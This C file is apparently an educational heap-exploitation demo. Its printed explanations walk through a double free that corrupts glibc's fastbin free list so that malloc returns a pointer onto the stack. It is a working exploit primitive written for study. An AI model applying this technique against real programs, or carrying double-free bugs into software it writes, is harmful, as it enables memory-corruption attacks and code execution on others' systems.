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#include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");
unsigned long long stack_var;
fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);
fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);
fprintf(stderr, "Freeing the first one...\n");
free(a);
fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);
fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", d);
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}
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